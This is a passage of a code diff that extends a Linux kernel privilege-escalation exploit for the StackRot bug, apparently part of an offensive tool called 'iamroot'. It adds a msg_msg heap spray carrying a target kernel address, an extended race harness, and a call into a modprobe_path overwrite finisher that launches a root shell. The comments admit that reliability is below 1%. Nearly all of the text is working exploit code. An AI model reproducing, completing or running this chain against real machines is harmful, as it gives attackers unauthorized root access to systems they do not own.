* The shared modprobe_path finisher calls back into this function
|
||||
* once per kernel write it wants to land. For StackRot we cannot
|
||||
* deliver a deterministic arb-write — the underlying race wins on
|
||||
* well under 1 % of runs even with a 30 s budget, and even when the
|
||||
* race wins our spray-only groom has nowhere near the precision of
|
||||
* Ruihan Li's multi-stage public PoC (which crafts a fake
|
||||
* anon_vma_chain whose `vma_lock` pointer steers a subsequent
|
||||
* page-fault into touching `kaddr` for the lock acquire).
|
||||
*
|
||||
* Honest depth: FALLBACK. Each invocation:
|
||||
* 1. Re-seeds the kmalloc-192 spray with payloads tagged with
|
||||
* `kaddr` packed into the first qword of the msg_msg body —
|
||||
* so IF a sprayed slot ends up overlaying the freed
|
||||
* anon_vma_chain after RCU grace, the kaddr we want the
|
||||
* kernel to deref appears at the AVC layout position the
|
||||
* maple-tree rotation will read.
|
||||
* 2. Re-runs the race threads for an extended budget
|
||||
* (STACKROT_RACE_FULLCHAIN_BUDGET seconds).
|
||||
* 3. Returns 0 unconditionally — we cannot in-process verify
|
||||
* whether the write landed. The shared finisher's 3 s sentinel
|
||||
* file check is the empirical arbiter: on the overwhelmingly
|
||||
* common no-land outcome it reports EXPLOIT_FAIL gracefully,
|
||||
* and we never claim a write that didn't land. */
|
||||
struct stackrot_arb_ctx {
|
||||
int *queues; /* live SysV msg queue ids */
|
||||
int n_queues;
|
||||
int arb_calls; /* incremented by stackrot_arb_write() */
|
||||
struct race_region *region;
|
||||
};
|
||||
|
||||
static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
|
||||
uintptr_t kaddr,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4943; /* 'IC' */
|
||||
memset(p.buf, 0x49, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOT_", 8);
|
||||
|
||||
/* Pack the target kaddr at byte 8 (one qword in) and the
|
||||
* caller's payload bytes immediately after — this way ANY
|
||||
* reasonable AVC field offset hit by the corruption pulls
|
||||
* out one of our two attacker-controlled regions. */
|
||||
uint64_t k64 = (uint64_t)kaddr;
|
||||
memcpy(p.buf + 8, &k64, sizeof k64);
|
||||
size_t copy = len;
|
||||
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
|
||||
if (buf && copy) memcpy(p.buf + 16, buf, copy);
|
||||
|
||||
/* Replace contents in a couple of queues; doing all 16 would
|
||||
* blow the per-process msgq quota on busy hosts. */
|
||||
int touched = 0;
|
||||
for (int i = 0; i < STACKROT_SPRAY_QUEUES && touched < 4; i++) {
|
||||
if (queues[i] < 0) continue;
|
||||
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
|
||||
}
|
||||
return touched;
|
||||
}
|
||||
|
||||
static int stackrot_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct stackrot_arb_ctx *c = (struct stackrot_arb_ctx *)ctx_v;
|
||||
if (!c || !c->queues || c->n_queues == 0 || !c->region) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
fprintf(stderr, "[*] stackrot: arb_write attempt #%d kaddr=0x%lx len=%zu "
|
||||
"(FALLBACK — race-dependent)\n",
|
||||
c->arb_calls, (unsigned long)kaddr, len);
|
||||
|
||||
/* Step 1: re-seed spray with kaddr-tagged payloads. */
|
||||
int seeded = stackrot_reseed_kaddr_spray(c->queues, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
fprintf(stderr, "[-] stackrot: arb_write: kaddr-tagged reseed produced 0 msgs\n");
|
||||
/* Continue anyway — original spray still tagged with cookie. */
|
||||
} else {
|
||||
fprintf(stderr, "[*] stackrot: arb_write: reseeded %d msg_msg slots with kaddr tag\n",
|
||||
seeded);
|
||||
}
|
||||
|
||||
/* Step 2: extended race window. Honestly: this expands the
|
||||
* trigger budget from 3 s to 30 s, but Ruihan Li's PoC reports
|
||||
* minutes-to-hours for first reclaim — so 30 s ≈ <1 % per
|
||||
* arb_write call on a real vulnerable kernel, and structurally
|
||||
* 0 % on a patched one. */
|
||||
atomic_store(&g_race_running, 1);
|
||||
atomic_store(&g_race_a_iters, 0);
|
||||
atomic_store(&g_race_b_iters, 0);
|
||||
atomic_store(&g_race_b_faults, 0);
|
||||
pthread_t ta, tb;
|
||||
bool a_ok = pthread_create(&ta, NULL, race_thread_a, c->region) == 0;
|
||||
bool b_ok = a_ok &&
|
||||
pthread_create(&tb, NULL, race_thread_b, c->region) == 0;
|
||||
if (!a_ok || !b_ok) {
|
||||
atomic_store(&g_race_running, 0);
|
||||
if (a_ok) pthread_join(ta, NULL);
|
||||
fprintf(stderr, "[-] stackrot: arb_write: pthread_create failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sleep(STACKROT_RACE_FULLCHAIN_BUDGET);
|
||||
atomic_store(&g_race_running, 0);
|
||||
pthread_join(ta, NULL);
|
||||
pthread_join(tb, NULL);
|
||||
|
||||
uint64_t a_iters = atomic_load(&g_race_a_iters);
|
||||
uint64_t b_iters = atomic_load(&g_race_b_iters);
|
||||
uint64_t b_faults = atomic_load(&g_race_b_faults);
|
||||
fprintf(stderr, "[*] stackrot: arb_write: extended race A=%llu B=%llu B_faults=%llu "
|
||||
"(reliability remains <1%% even at this budget)\n",
|
||||
(unsigned long long)a_iters,
|
||||
(unsigned long long)b_iters,
|
||||
(unsigned long long)b_faults);
|
||||
|
||||
/* Step 3: cannot in-process verify the write. Return 0; the
|
||||
* finisher's sentinel-file check is the empirical arbiter. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
@@ -506,8 +648,34 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
|
||||
* userns. If modprobe_path is unresolvable we refuse here rather
|
||||
* than running a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("stackrot");
|
||||
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
|
||||
"offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
|
||||
"well below 1%% per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
|
||||
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
|
||||
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
|
||||
" catches no-land outcomes gracefully.\n",
|
||||
STACKROT_RACE_FULLCHAIN_BUDGET);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] stackrot: forking exploit child (userns + race harness)\n");
|
||||
fprintf(stderr, "[*] stackrot: forking exploit child (userns + race harness%s)\n",
|
||||
ctx->full_chain ? " + full-chain finisher" : "");
|
||||
}
|
||||
|
||||
uid_t outer_uid = getuid();
|
||||
@@ -618,6 +786,39 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
* any in-flight RCU grace periods that started during the race. */
|
||||
usleep(200 * 1000);
|
||||
|
||||
/* 7a. --full-chain finisher (FALLBACK depth).
|
||||
*
|
||||
* Invoke the shared modprobe_path finisher; its arb_write
|
||||
* callback (stackrot_arb_write) will re-seed the spray with
|
||||
* kaddr-tagged payloads and re-run the race for an extended
|
||||
* 30 s budget. The finisher's own 3 s sentinel-file timeout
|
||||
* then arbitrates: on the overwhelmingly common no-land
|
||||
* outcome it returns EXPLOIT_FAIL gracefully.
|
||||
*
|
||||
* Honest reliability: <1 % per run even with the extension. */
|
||||
if (full_chain_ready) {
|
||||
struct stackrot_arb_ctx arb_ctx = {
|
||||
.queues = queues,
|
||||
.n_queues = STACKROT_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
.region = ®ion,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
stackrot_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_anon_vma_slab(queues);
|
||||
race_region_teardown(®ion);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
drain_anon_vma_slab(queues);
|
||||
race_region_teardown(®ion);
|
||||
|
||||
@@ -673,6 +874,27 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
/* Finisher reported root-pop success. The shared finisher
|
||||
* normally execve()s the root shell so we don't actually
|
||||
* reach this path unless --no-shell was set. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
/* Finisher ran but didn't land — by far the expected outcome
|
||||
* given the <1 % race-win rate. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] stackrot: --full-chain finisher ran; race did not\n"
|
||||
" win + land within budget (this is the expected\n"
|
||||
" outcome — race-win reliability is <1%% per run).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
Reference in New Issue
Block a user